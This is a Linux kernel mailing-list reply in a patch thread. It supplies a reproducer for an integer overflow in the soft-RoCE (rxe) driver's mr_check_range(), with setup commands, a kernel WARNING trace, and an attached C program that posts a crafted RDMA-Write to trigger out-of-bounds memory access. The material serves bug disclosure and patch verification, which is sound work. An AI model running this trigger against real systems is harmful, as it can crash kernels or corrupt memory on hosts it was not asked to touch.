Re: [PATCH net 0/2] RDMA/rxe: fix mr_check_range() iova overflow (OOB)

[gang.yan@linux.dev]

[-- Attachment #1: Type: text/plain, Size: 6230 bytes --]

July 30, 2026 at 1:15 PM, "Zhu Yanjun" <yanjun.zhu@linux.dev mailto:yanjun.zhu@linux.dev?to=%22Zhu%20Yanjun%22%20%3Cyanjun.zhu%40linux.dev%3E > wrote:


> 
> 在 2026/7/28 2:11, Gang Yan 写道:
> 
> > 
> > From: Gang Yan <yangang@kylinos.cn>
> > 
> >  Hi, Maintainers
> > 
> >  I've recently started learning RDMA, using soft-RoCE (rxe) as my study
> >  platform. While pair-programming with an AI assistant during this learning,
> >  it flagged an integer overflow in mr_check_range(). I dug in, stood up a
> >  small reproducer, and -- believing the issue is real and worth fixing --
> >  put together this small series.
> > 
> Do you have a small reproducer for this issue? If so, could you please share it on the RDMA mailing list?

Hi,

Thanks for your review. Here is a small reproducer (attached rxe_overflow_repro.c). I put it together
quickly with the help of an Claude Code, as I'm still quite new to RDMA.

Idea: the client posts
the client posts one RDMA-Write whose remote_addr
  (0xfffffffffffffff8, len 8) makes iova + length wrap to 0, bypassing the
  old mr_check_range() comparison; the responder then derives an
  out-of-bounds page index in rxe_mr_iova_to_index() (the WARN_ON) and
  reaches mr->page_info[] OOB.

Build & run (as root):

 sudo yum install -y libibverbs-devel librdmacm-devel
 gcc -O2 -o repro rxe_overflow_repro.c -libverbs -lrdmacm
 sudo modprobe rdma_rxe
 sudo ip link add dummy0 type dummy
 sudo ip addr add 192.168.172.1/24 dev dummy0 && sudo ip link set dummy0 up
 sudo ip link set dummy0 up
 sudo rdma link add rxe0 type rxe netdev dummy0
 sudo ./repro 192.168.172.1

and then check the dmesg:
[  136.830844] ------------[ cut here ]------------
[  136.830848] WARNING: drivers/infiniband/sw/rxe/rxe_mr.c:99 at rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe], CPU#188: kworker/u957:0/1368
[  136.830870] Modules linked in: rdma_ucm ib_uverbs ib_uverbs_support rdma_cm iw_cm ib_cm dummy rdma_rxe ib_core ip6_udp_tunnel udp_tunnel joydev uinput snd_seq_dummy snd_hrtimer rfkill nf_conntrack_netbios_ns nf_conntrack_broadcast nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables sunrpc qrtr snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_intel_dspcfg snd_intel_sdw_acpi snd_hwdep intel_rapl_msr snd_seq intel_rapl_common snd_seq_device snd_pcm virtio_balloon snd_timer snd i2c_piix4 soundcore pcspkr i2c_smbus zram lz4hc_compress vmw_vsock_virtio_transport vmw_vsock_virtio_transport_common vsock qxl serio_raw drm_exec drm_ttm_helper e1000 ttm ata_generic pata_acpi i2c_dev qemu_fw_cfg virtiofs fuse
[  136.830928] CPU: 188 UID: 0 PID: 1368 Comm: kworker/u957:0 Not tainted 7.2.0-rc5+ #1 PREEMPT(lazy)
[  136.830931] Hardware name: Red Hat KVM, BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
[  136.830935] Workqueue: rxe_wq do_work [rdma_rxe]
[  136.830944] RIP: 0010:rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe]
[  136.830953] Code: 48 83 c4 28 e9 f9 1d 79 d2 48 8b 4f 68 48 23 8f 48 01 00 00 48 29 c8 48 89 c2 48 c1 ea 0c 48 63 c2 41 3b 90 58 01 00 00 72 d6 <0f> 0b 48 83 c4 28 e9 cd 1d 79 d2 66 90 66 66 2e 0f 1f 84 00 00 00
[  136.830954] RSP: 0018:ffffd0c5833c7d38 EFLAGS: 00010286
[  136.830957] RAX: ffffffffffff332d RBX: 0000000000000008 RCX: 000000000000000c
[  136.830958] RDX: 00000000ffff332d RSI: 000000000000ccd2 RDI: ffff8d8ddc8b7e00
[  136.830960] RBP: fffffffffffffff8 R08: ffff8d8ddc8b7e00 R09: 000000000000000c
[  136.830961] R10: 0000000000000008 R11: ffff8d8d0ab96e56 R12: ffff8d8ddc8b7e00
[  136.830962] R13: ffff8d8d0ab96e56 R14: 0000000000000286 R15: ffff8d8cd1a80428
[  136.830966] FS:  0000000000000000(0000) GS:ffff8d9bcc89a000(0000) knlGS:0000000000000000
[  136.830968] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  136.830969] CR2: 000000000ccd39b8 CR3: 00000001061fe000 CR4: 0000000000350ef0
[  136.830973] Call Trace:
[  136.830975]  <TASK>
[  136.830978]  ? rxe_pool_get_index+0x4b/0x70 [rdma_rxe]
[  136.830986]  rxe_mr_copy_xarray+0xb4/0x170 [rdma_rxe]
[  136.830994]  execute+0x27e/0x320 [rdma_rxe]
[  136.831002]  rxe_receiver+0x4f9/0xce0 [rdma_rxe]
[  136.831009]  ? __pfx_rxe_receiver+0x10/0x10 [rdma_rxe]
[  136.831015]  do_task+0x70/0x220 [rdma_rxe]
[  136.831023]  process_one_work+0x19e/0x370
[  136.831028]  worker_thread+0x1a6/0x310
[  136.831030]  ? __pfx_worker_thread+0x10/0x10
[  136.831032]  kthread+0xe4/0x120
[  136.831035]  ? __pfx_kthread+0x10/0x10
[  136.831038]  ret_from_fork+0x1a1/0x270
[  136.831058]  ? __pfx_kthread+0x10/0x10
[  136.831060]  ret_from_fork_asm+0x1a/0x30
[  136.831066]  </TASK>
[  136.831067] ---[ end trace 0000000000000000 ]---
[  136.831077] rxe0: qp#17 make_send_cqe: non-flush error status = 10
[  207.516233] dummy0 speed is unknown, defaulting to 1000

I tried it on a Fedora guest running 7.2.0-rc5: it reliably reproduces the WARNING
at rxe_mr_iova_to_index() (i.e. the responder accepting an out-of-bounds index).

I'm still learning the RDMA stack, so my understanding of some of the details may not
be fully thorough — apologies if anything above is unclear, and I'm happy to correct
or expand on whatever is needed.

Thanks
Gang

> 
> I’d like to use it to reproduce the problem and confirm that this commit fixes the reported issue.
> 
> Thanks a lot.
> 
> Zhu Yanjun
> 
> > 
> > Thanks
> >  Gang
> > 
> >  Gang Yan (2):
> >  RDMA/rxe: Fix integer overflow in mr_check_range() leading to OOB
> >  access
> >  DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
> > 
> >  drivers/infiniband/sw/rxe/rxe_mr.c | 3 +-
> >  tools/testing/selftests/rdma/Makefile | 8 +-
> >  tools/testing/selftests/rdma/config | 2 +
> >  .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++
> >  .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++
> >  5 files changed, 330 insertions(+), 2 deletions(-)
> >  create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c
> >  create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh
> > 
> -- Best Regards,
> Yanjun.Zhu
>

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: rxe_overflow_repro.c --]
[-- Type: text/x-c; name="rxe_overflow_repro.c", Size: 6971 bytes --]

// SPDX-License-Identifier: GPL-2.0
/*
 * Minimal reproducer for the rxe mr_check_range() iova overflow (OOB).
 *
 * One binary: fork() into a server (registers a USER MR) and a client that
 * posts one RDMA-Write whose remote_addr makes iova + length wrap to 0,
 * bypassing the old mr_check_range() check and OOB-ing in rxe_mr_copy().
 *
 * Prereqs (Ubuntu/Debian; analogous on Fedora):
 *   sudo apt install -y libibverbs-dev librdmacm-dev gcc
 *   # kernel needs CONFIG_RDMA_RXE, CONFIG_INFINIBAND,
 *   # CONFIG_INFINIBAND_USER_ACCESS (=m on distro generic kernels)
 *
 * Build:
 *   gcc -O2 -o repro rxe_overflow_repro.c -libverbs -lrdmacm
 * Run (as root):
 *   modprobe rdma_rxe
 *   ip link add dummy0 type dummy
 *   ip addr add 192.168.172.1/24 dev dummy0 && ip link set dummy0 up
 *   rdma link add rxe0 type rxe netdev dummy0
 *   ./repro 192.168.172.1
 *
 * Verdict: the client only triggers the bug; read the kernel log:
 *   grep rxe_mr_iova_to_index /dev/kmsg     # present => vulnerable
 * Unpatched kernel shows:
 *   WARNING: ... at rxe_mr_iova_to_index+... [rdma_rxe]
 *   Oops: ... rxe_mr_copy+... [rdma_rxe]
 * Patched kernel: mr_check_range() rejects the iova, log stays clean.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <infiniband/verbs.h>
#include <rdma/rdma_cma.h>

#define PORT     7799
#define BAD_ADDR 0xfffffffffffffff8ULL	/* iova + 8 wraps to 0 */
#define WR_LEN   8
#define MR_LEN   4096

struct mr_info { uint32_t rkey; uint32_t pad; uint64_t iova; } __attribute__((packed));

static int wait_event(struct rdma_event_channel *ec, struct rdma_cm_event **ev,
		      enum rdma_cm_event_type want)
{
	while (rdma_get_cm_event(ec, ev) == 0) {
		if ((*ev)->event != want) {
			fprintf(stderr, "cm: got %s, want %s\n",
				rdma_event_str((*ev)->event), rdma_event_str(want));
			rdma_ack_cm_event(*ev);
			return -1;
		}
		return 0;
	}
	perror("rdma_get_cm_event");
	return -1;
}

/* Server: register a USER MR, accept one connection, hand over rkey/iova. */
static int run_server(const char *addr, int ready_fd)
{
	struct rdma_event_channel *ec = rdma_create_event_channel();
	struct rdma_cm_id *lid = NULL, *id = NULL;
	struct rdma_cm_event *ev;
	struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_mr *mr; void *buf;
	struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(PORT) };
	int rc = 0;

	if (!ec || rdma_create_id(ec, &lid, NULL, RDMA_PS_TCP)) { perror("cm"); close(ready_fd); return 1; }
	if (!inet_pton(AF_INET, addr, &sin.sin_addr)) { fprintf(stderr, "bad addr\n"); close(ready_fd); return 1; }
	if (rdma_bind_addr(lid, (struct sockaddr *)&sin) || rdma_listen(lid, 1)) {
		perror("bind/listen");		/* let the client stop waiting */
		close(ready_fd);
		return 1;
	}
	if (write(ready_fd, "x", 1) < 0)
		perror("notify client");
	close(ready_fd);

	if (wait_event(ec, &ev, RDMA_CM_EVENT_CONNECT_REQUEST)) return 1;
	id = ev->id;

	pd  = ibv_alloc_pd(id->verbs);
	cq  = ibv_create_cq(id->verbs, 4, NULL, NULL, 0);
	buf = calloc(1, MR_LEN);
	mr  = ibv_reg_mr(pd, buf, MR_LEN,
			 IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE);
	if (!pd || !cq || !mr) { perror("pd/cq/mr"); rc = 1; goto ack; }

	struct ibv_qp_init_attr qa = {
		.send_cq = cq, .recv_cq = cq, .qp_type = IBV_QPT_RC,
		.cap = { .max_send_wr = 4, .max_recv_wr = 4, .max_send_sge = 2, .max_recv_sge = 2 },
	};
	if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); rc = 1; goto ack; }

	struct mr_info info = { .rkey = mr->rkey, .iova = (uint64_t)(uintptr_t)buf };
	struct rdma_conn_param p = {
		.private_data = &info, .private_data_len = sizeof(info),
		.initiator_depth = 1, .responder_resources = 1,
	};
	if (rdma_accept(id, &p)) { perror("accept"); rc = 1; }
ack:
	rdma_ack_cm_event(ev);
	sleep(3);	/* let the client finish its (malicious) operation */
	return rc;
}

/* Client: connect, fetch rkey, post one crafted RDMA-Write. */
static int run_client(const char *addr, int ready_fd)
{
	struct rdma_event_channel *ec = rdma_create_event_channel();
	struct rdma_cm_id *id = NULL;
	struct rdma_cm_event *ev;
	struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_mr *mr; void *buf;
	struct ibv_sge sge; struct ibv_send_wr wr, *bad;
	struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(PORT) };
	char tmp;

	if (!ec || rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) { perror("cm"); return 1; }
	if (!inet_pton(AF_INET, addr, &sin.sin_addr)) { fprintf(stderr, "bad addr\n"); return 1; }
	if (read(ready_fd, &tmp, 1) < 0) { perror("wait server"); close(ready_fd); return 1; }
	close(ready_fd);	/* server is listening (or gave up; connect will fail then) */

	if (rdma_resolve_addr(id, NULL, (struct sockaddr *)&sin, 5000)) { perror("resolve_addr"); return 1; }
	if (wait_event(ec, &ev, RDMA_CM_EVENT_ADDR_RESOLVED))
		return 1;
	rdma_ack_cm_event(ev);
	if (rdma_resolve_route(id, 5000)) { perror("resolve_route"); return 1; }
	if (wait_event(ec, &ev, RDMA_CM_EVENT_ROUTE_RESOLVED))
		return 1;
	rdma_ack_cm_event(ev);

	pd  = ibv_alloc_pd(id->verbs);
	cq  = ibv_create_cq(id->verbs, 4, NULL, NULL, 0);
	buf = calloc(1, MR_LEN);
	mr  = ibv_reg_mr(pd, buf, MR_LEN, IBV_ACCESS_LOCAL_WRITE);
	struct ibv_qp_init_attr qa = {
		.send_cq = cq, .recv_cq = cq, .qp_type = IBV_QPT_RC,
		.cap = { .max_send_wr = 4, .max_recv_wr = 4, .max_send_sge = 2, .max_recv_sge = 2 },
	};
	if (!pd || !cq || !mr || rdma_create_qp(id, pd, &qa)) { perror("setup"); return 1; }

	struct rdma_conn_param p = { .initiator_depth = 1, .responder_resources = 1, .retry_count = 3 };
	if (rdma_connect(id, &p) || wait_event(ec, &ev, RDMA_CM_EVENT_ESTABLISHED)) { perror("connect"); return 1; }
	struct mr_info info = {0};
	if (ev->param.conn.private_data_len >= (int)sizeof(info))
		memcpy(&info, ev->param.conn.private_data, sizeof(info));
	rdma_ack_cm_event(ev);

	sge = (struct ibv_sge){ .addr = (uintptr_t)buf, .length = WR_LEN, .lkey = mr->lkey };
	memset(&wr, 0, sizeof(wr));
	wr.wr_id = 0xdead;
	wr.opcode = IBV_WR_RDMA_WRITE;
	wr.send_flags = IBV_SEND_SIGNALED;
	wr.sg_list = &sge;
	wr.num_sge = 1;
	wr.wr.rdma.remote_addr = BAD_ADDR;	/* iova + 8 wraps to 0 */
	wr.wr.rdma.rkey = info.rkey;

	ibv_post_send(id->qp, &wr, &bad);
	printf("[client] posted RDMA-Write with wrapping iova; now check dmesg:\n");
	printf("    grep rxe_mr_iova_to_index /dev/kmsg    # present => vulnerable\n");
	sleep(2);	/* let the responder process the WRITE and hit the OOB */
	return 0;
}

int main(int argc, char **argv)
{
	const char *addr = argc > 1 ? argv[1] : "192.168.172.1";
	int syncfd[2], rc = 1;

	if (pipe(syncfd)) { perror("pipe"); return 1; }
	pid_t pid = fork();
	if (pid < 0) { perror("fork"); return 1; }
	if (pid == 0) {			/* child = client */
		close(syncfd[1]);
		_exit(run_client(addr, syncfd[0]));
	}
	close(syncfd[0]);		/* parent = server */
	rc = run_server(addr, syncfd[1]);

	int st; wait(&st);
	if (WIFEXITED(st)) rc = WEXITSTATUS(st);
	return rc;
}